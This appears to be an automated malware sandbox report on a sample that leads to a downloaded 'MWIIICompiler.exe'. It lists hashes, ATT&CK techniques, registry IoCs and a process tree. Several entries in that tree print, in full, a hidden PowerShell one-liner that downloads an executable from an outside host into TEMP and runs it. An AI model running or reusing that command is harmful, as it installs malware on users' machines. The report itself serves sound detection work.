29512ca3960ca80dc8ccf918900d611b1d59aef925394a8ca4590df40b7db2e7

Resubmissions

22/07/2026, 16:36

260722-t39qdshc76

22/07/2026, 16:14

260722-tp5vaaydpf8

Analysis

geolocation tags

cacanadananorth-americatoronto
user interaction
yes
max time kernel
111s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/07/2026, 16:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
New Text Document.txt
Size 378B
Sample260722-tp5vaaydpf
SHA256 29512ca3960ca80dc8ccf918900d611b1d59aef925394a8ca4590df40b7db2e7
MD5 755ab989c2aa4b0e421f9ff9b055e14d
SHA1 132815ab9a3d5400958dda3d74a345e02fceaf3a
SHA512 bd6660656551e4e176197aeac7bdaf698814d954e40ecd485ed7f7da4a55515c7bb2757dd57d539e72e97d7ce6cf09da6775595091857cbba6e15e9e682009ea
TLSH
T16EE0C0BFC5C5ACC45B8F8F4C47A841E6CB4F8141881E6640C000D8247806E39759AD5A
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1124	powershell.exe
4028	powershell.exe
2060	powershell.exe
4592	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
21	4524	chrome.exe

Executes dropped EXE 4 IoCs

pid	Process
4544	MWIIICompiler.exe
3828	MWIIICompiler.exe
1596	MWIIICompiler.exe
4524	MWIIICompiler.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2800	cmd.exe
3148	cmd.exe
1656	cmd.exe
4012	cmd.exe
2020	cmd.exe
1092	cmd.exe
3308	cmd.exe
4236	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4524	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134292105356030249"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4764	chrome.exe
4764	chrome.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
4764	chrome.exe
4764	chrome.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe
Token: SeShutdownPrivilege	4764	chrome.exe
Token: SeCreatePagefilePrivilege	4764	chrome.exe

Suspicious use of FindShellTrayWindow 59 IoCs

pid	Process
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe
4764	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4544	MWIIICompiler.exe
3828	MWIIICompiler.exe
1596	MWIIICompiler.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 1064	4764	chrome.exe	93
PID 4764 wrote to memory of 4524	4764	chrome.exe	94
PID 4764 wrote to memory of 4784	4764	chrome.exe	95
PID 4764 wrote to memory of 4784	4764	chrome.exe	95
PID 4764 wrote to memory of 3384	4764	chrome.exe	97
PID 4764 wrote to memory of 3384	4764	chrome.exe	97
PID 4764 wrote to memory of 2328	4764	chrome.exe	99
PID 4764 wrote to memory of 2356	4764	chrome.exe	98
PID 4764 wrote to memory of 2328	4764	chrome.exe	99
PID 4764 wrote to memory of 2356	4764	chrome.exe	98
PID 4764 wrote to memory of 3776	4764	chrome.exe	100
PID 4764 wrote to memory of 3776	4764	chrome.exe	100
PID 4764 wrote to memory of 1900	4764	chrome.exe	101
PID 4764 wrote to memory of 1900	4764	chrome.exe	101
PID 4764 wrote to memory of 4820	4764	chrome.exe	103
PID 4764 wrote to memory of 4820	4764	chrome.exe	103
PID 4764 wrote to memory of 4260	4764	chrome.exe	108
PID 4764 wrote to memory of 4344	4764	chrome.exe	109
PID 4764 wrote to memory of 2028	4764	chrome.exe	111
PID 4764 wrote to memory of 2028	4764	chrome.exe	111
PID 4764 wrote to memory of 2416	4764	chrome.exe	110
PID 4764 wrote to memory of 2416	4764	chrome.exe	110
PID 4764 wrote to memory of 4108	4764	chrome.exe	118
PID 4764 wrote to memory of 3180	4764	chrome.exe	119
PID 4764 wrote to memory of 4484	4764	chrome.exe	120
PID 4764 wrote to memory of 772	4764	chrome.exe	121
PID 4764 wrote to memory of 772	4764	chrome.exe	121
PID 4764 wrote to memory of 2232	4764	chrome.exe	122
PID 4764 wrote to memory of 4544	4764	chrome.exe	123
PID 4544 wrote to memory of 4236	4544	MWIIICompiler.exe	125
PID 4236 wrote to memory of 2800	4236	cmd.exe	126
PID 2800 wrote to memory of 1124	2800	cmd.exe	128
PID 3828 wrote to memory of 3148	3828	MWIIICompiler.exe	136
PID 3148 wrote to memory of 1656	3148	cmd.exe	137
PID 1656 wrote to memory of 4028	1656	cmd.exe	139
PID 1596 wrote to memory of 4012	1596	MWIIICompiler.exe	142
PID 4012 wrote to memory of 2020	4012	cmd.exe	143
PID 2020 wrote to memory of 2060	2020	cmd.exe	145
PID 4524 wrote to memory of 1092	4524	MWIIICompiler.exe	149
PID 1092 wrote to memory of 3308	1092	cmd.exe	150
PID 3308 wrote to memory of 4592	3308	cmd.exe	152

C:\Windows\system32\NOTEPAD.EXE
C:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\New Text Document.txt"
1⤵
PID:4508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb4e6fc728,0x7ffb4e6fc734,0x7ffb4e6fc740
  2⤵
  PID:1064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2160,i,8794291136146848788,1147239350837262032,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2172 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:4524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1748,i,17401166213584132376,6419899685093650602,262144 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2016 /prefetch:2
  2⤵
  PID:4784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2492,i,12127706348486701064,2612354280393729049,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2336 /prefetch:8
  2⤵
  PID:3384
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,7692395273266299191,12161388945752569189,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,6930839359285168703,613987253545921435,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:2328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4468,i,16504876748354891430,10107228309345613700,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4484 /prefetch:2
  2⤵
  PID:3776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4660,i,12119696244753745242,11268898569609320092,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4708 /prefetch:1
  2⤵
  PID:1900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4932,i,14716495494791356864,12859587050204339515,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4884 /prefetch:1
  2⤵
  PID:4820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4800,i,18254555186782586519,11867387641539084776,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4816 /prefetch:8
  2⤵
  PID:4260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,12112233445383299338,744347095676827466,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5684 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --metrics-shmem-handle=5928,i,14438487292797522359,16672813086759193554,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5948 /prefetch:8
  2⤵
  PID:2416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,10630144359274694713,1167923811607398660,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5964 /prefetch:8
  2⤵
  PID:2028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6468,i,14395842599133517391,9712344515827798172,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6472 /prefetch:8
  2⤵
  PID:4108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6464,i,7755194580172766181,3282784731963190553,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6420 /prefetch:8
  2⤵
  PID:3180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6444,i,5738748007741536216,10881234820598183009,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6520 /prefetch:8
  2⤵
  PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4496,i,16487450421390832396,3210864898010852053,2097152 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6472 /prefetch:1
  2⤵
  PID:772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4948,i,6051922584056895624,15442840811820346188,524288 --field-trial-handle=2020,i,4250572283399777983,4106892738074192311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4952 /prefetch:8
  2⤵
  PID:2232
- C:\Users\Admin\Downloads\MWIIICompiler.exe
  "C:\Users\Admin\Downloads\MWIIICompiler.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1124

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1968

C:\Users\Admin\Downloads\MWIIICompiler.exe
"C:\Users\Admin\Downloads\MWIIICompiler.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4028

C:\Users\Admin\Downloads\MWIIICompiler.exe
"C:\Users\Admin\Downloads\MWIIICompiler.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2060

C:\Users\Admin\Downloads\MWIIICompiler.exe
"C:\Users\Admin\Downloads\MWIIICompiler.exe" C:\Users\Admin\Downloads\matchstats.gscc
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

